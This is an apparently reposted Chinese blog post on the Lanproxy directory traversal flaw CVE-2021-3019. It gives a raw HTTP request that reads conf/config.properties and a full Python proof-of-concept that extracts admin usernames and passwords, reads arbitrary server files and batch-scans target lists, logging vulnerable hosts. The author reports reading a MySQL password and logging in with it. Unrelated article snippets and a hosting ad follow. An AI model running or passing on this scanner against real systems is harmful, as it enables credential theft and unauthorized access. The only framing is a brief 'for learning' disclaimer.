Lanproxy 遍历目录漏洞 CVE-2021-3019 附批量POC

摘要:
utf8importsysimportrgparseimportosfromlibimportrequestfromlibImporterrorheaders={'User-Agent':headers=headers)try:timeout=10)asresp:confContent=resp.read().decode('utf-8')foriinconfig:

一、概述

Lanproxy内网穿透工具,支持tcp流量转发,可支持任何tcp上层协议(访问内网网站、本地支付接口调试、ssh访问、远程桌面等等)今天给大家带来的是

Lanproxy 遍历漏洞 (CVE-2021-3019)通过../绕过读取任意文件。

该漏洞允许读取/../conf/config.properties来获取到内部网连接的账户密码。

二、漏洞复现

header="Server: LPS-0.1"

Lanproxy 遍历目录漏洞 CVE-2021-3019 附批量POC第1张

payload:

GET /../conf/config.properties HTTP/1.1
Host: 47.111.00.00:8090
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

Lanproxy 遍历目录漏洞 CVE-2021-3019 附批量POC第2张

Lanproxy 遍历目录漏洞 CVE-2021-3019 附批量POC第3张

Lanproxy 遍历目录漏洞 CVE-2021-3019 附批量POC第4张

Lanproxy 遍历目录漏洞 CVE-2021-3019 附批量POC第5张

Lanproxy 遍历目录漏洞 CVE-2021-3019 附批量POC第6张

HH读取到了MySQL密码,成功连接,不做深入分析。

完!

三、POC代码

#coding:utf8
import sys
import argparse
import os
from urllib import request
from urllib import error

headers = {
    'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/82.0.4080.0 Safari/537.36 Edg/82.0.453.0"
}

def readConf(url):
    config = [
        'config.server.bind',
        'config.server.port',
        'config.admin.username',
        'config.admin.password'
    ]

    path = "/../conf/config.properties"
    confUrl = url + path
    r = request.Request(confUrl, headers=headers)
    try:
        with request.urlopen(r,timeout=10) as resp:
            confContent = resp.read().decode('utf-8')
            for i in config:
                if i not in confContent:
                    print("[-]" + url + " is not vulnerable.")
                    return 'Bye :('
            print("[+]" + url + "is vulnerable! :)")
            return confContent
    except ConnectionResetError:
        print("[-]" + url + "Connection is reset by peer")
    except error.HTTPError as e:
        print("[-]" + url + e.code + e.reason)
    except error.URLError as e:
        print("[-]" + url + e.code + e.reason)
    except:
        print("[-]" + url + "is not vulnerable")
    return 0

def readOtherFile(url, path):
    """
    读取任意文件
    """
    jumpSym = "/../../../../../../../../.."
    fullUrl = url + jumpSym + path
    r = request.Request(fullUrl, headers=headers)
    with request.urlopen(r, timeout=10) as resp:
        fileContent = resp.read().decode('utf-8')
        print(fileContent)

def run(url, path="/../conf/config.properties"):
    if os.path.isfile(url) == False:
        url = 'http://' + url.replace('http://', '').replace('/','')
        if path == "/../conf/config.properties":
            print(readConf(url))
        else:
            if readConf(url) not in [0, 'Bye :(']:
                readOtherFile(url,path)
    else:
        urls = []
        with open(url) as target:
            urls = target.read().splitlines()
            for url in urls:
                url = 'http://' + url.replace('http://', '').replace('/','')
                if readConf(url) not in [0, 'Bye :(']:
                    with open("sucess.txt", "a+") as f:
                        f.write(url + "
")
            f.close()


def main():
    parser = argparse.ArgumentParser(description="CVE-2021-3019 lanproxy arbitrary file read vulnerability detection POC")
    parser.add_argument('-u', '--url', type=str,help="test a single website")
    parser.add_argument('-r', '--read', type=str,help="this parameter is followed by the file name to be read, the configuration file is read by default")
    parser.add_argument('-f', '--file', type=str,help="perform vulnerability checks on multiple websites in a file, and the vulnerable websites will be output to the success.txt file")
    args = parser.parse_args()
    if len(sys.argv) <= 1:
        parser.print_help()
    elif sys.argv[1] in ['-u', '--url']:
        if len(sys.argv) == 3:
            run(args.url)
        elif len(sys.argv) == 5:
            run(args.url, args.read)
    elif sys.argv[1] in ['-f', '--file']:
        run(args.file)

if __name__ == "__main__":
    main()

免责声明:文章转载自《Lanproxy 遍历目录漏洞 CVE-2021-3019 附批量POC》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇http实现发送post请求,获取结果集(全解析)屏幕尺寸,分辨率,像素,PPI之间到底什么关系?下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

网站开启https后加密协议始终是TLS1.0如何配置成TLS1.2?

网站开启https后加密协议始终是TLS1.0如何配置成TLS1.2?   要在服务器上开启 TLSv1.2,通常要求基于 OpenSSL 环境的,使用 OpenSSL 1.0+ ,推荐 OpenSSL 1.0.1+。 要求基于 Java 环境的,使用 Jdk 1.7+ 。 查看openssl的版本: # openssl version...

SpringBoot集成Druid实现数据源管理和监控

 1、添加Maven依赖 <dependencies> <dependency> <groupId>mysql</groupId> <artifactId>mysql-connector-java</artifactId>...

ODOO 新API修饰符

Odoo8中,API接口分为traditaional style和record style两种类型: traditional style指的就是我们在7.0中使用的类型,def(self,cr,uid,ids,context)式的语法. record style 8.0及以后版本精简化参数后的风格,只保留了self和args,形如def(self,args...

微信公众平台开发教程(七)安全策略

微信公众平台开发教程(七)安全策略尽管处理微信请求的服务器,处于微信服务器的后端,但是安全问题依然不可小觑。 大概总结以下几个方面,希望引起注意。 一、设置高复杂度的Token,尽量隐藏服务地址URL URL:即为处理微信请求的链接地址Token:用户身份凭证 申请成为开发者或者修改URLToken时,微信会通过Get请求访问URL,验证签名,其中需要To...

Spring之Bean管理------注解方式

编写测试类 1,编写相关的类 public interface UserDao { public void sayHello(); } public class UserDaoImpl implements UserDao { @Override public void sayHello() { System.out.println("Hello Spri...

获取机器的IP信息

机器多个网卡或者绑定多个ip时, 获取机器IP信息: ifaddrs的结构如下 1: struct ifaddrs 2: { 3: struct ifaddrs *ifa_next; /* Next item in list */ 4: char *ifa_name;...